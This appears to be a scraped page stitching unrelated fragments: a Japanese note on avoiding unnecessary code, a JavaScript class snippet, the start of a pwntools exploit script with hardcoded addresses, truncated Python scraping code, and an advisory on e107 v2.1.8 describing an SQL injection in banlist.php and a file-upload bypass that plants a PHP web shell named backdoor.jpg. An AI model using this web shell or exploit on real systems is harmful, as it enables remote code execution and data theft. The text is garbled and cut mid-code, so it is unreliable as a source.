プログラマが学ぶべき最も大切な技能は、コードを書かないですむときを見極めることかもしれない
- 不必要な機能を削除する。過剰な機能は持たせない
- 汎用的なユーティリティを作って使いまわす
- 定期的にすべてのAPIを読んで、標準ライブラリに慣れ親しんでおく
https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Classes
class Polygon {
constructor(height, width) {
this.height = height;
from pwn import * | |
import sys | |
username_addr = 0x6020C0 | |
password_addr = 0x6020E0 | |
call_printf_addr = 0x04009B6 | |
pop_rdi = 0x0000000000400B03 # pop rdi ; ret | |
with open("username_payload", "wb") as f: |
from html.parser import HTMLParser | |
from urllib.request import urlopen | |
from datetime import datetime | |
import json | |
import csv | |
import sys | |
import re | |
import os | |
# エラーログのパス |
from html.parser import HTMLParser | |
from urllib.request import urlopen | |
from datetime import datetime | |
import json | |
import csv | |
import sys | |
import re | |
# エラーログのパス | |
ERRORLOG = 'error.log' |
import json | |
def convertToStr(data): | |
if type(data) is unicode: | |
data = data.encode('utf-8') | |
elif not type(data) is str: | |
data = str(data) | |
return data | |
def writerow(f, cols): |
e107 v2.1.8 contains a flaw that may allow carrying out an SQL injection attack. The issue is due to the /e107_admin/banlist.php
script not properly escaping input to the old_ip
parameter. This may allow a remote attacker to inject or manipulate SQL queries in the database, allowing for the manipulation or disclosure of arbitrary data.
/e107_admin/admin.php
)/e107_admin/banlist.php
and use BurpSuite to rewrite parameters as follows.POST /e107/e107_admin/banlist.php HTTP/1.1
Host: localhost:8080
MediaManager of e107 v2.1.8 contains a flaw that is triggered as file types and extensions for uploaded files are not properly validated before being placed in a user-accessible path. This may allow a remote attacker to upload a file and then request it in order to execute arbitrary code with the privileges of the web service.
Login to the admin page (/e107_admin/admin.php
) and access MediaManager.
Make a backdoor PHP file named "backdoor.jpg" to bypass JavaScript filter and select it on MediaManeger.
<?php system($_GET['q']) ?>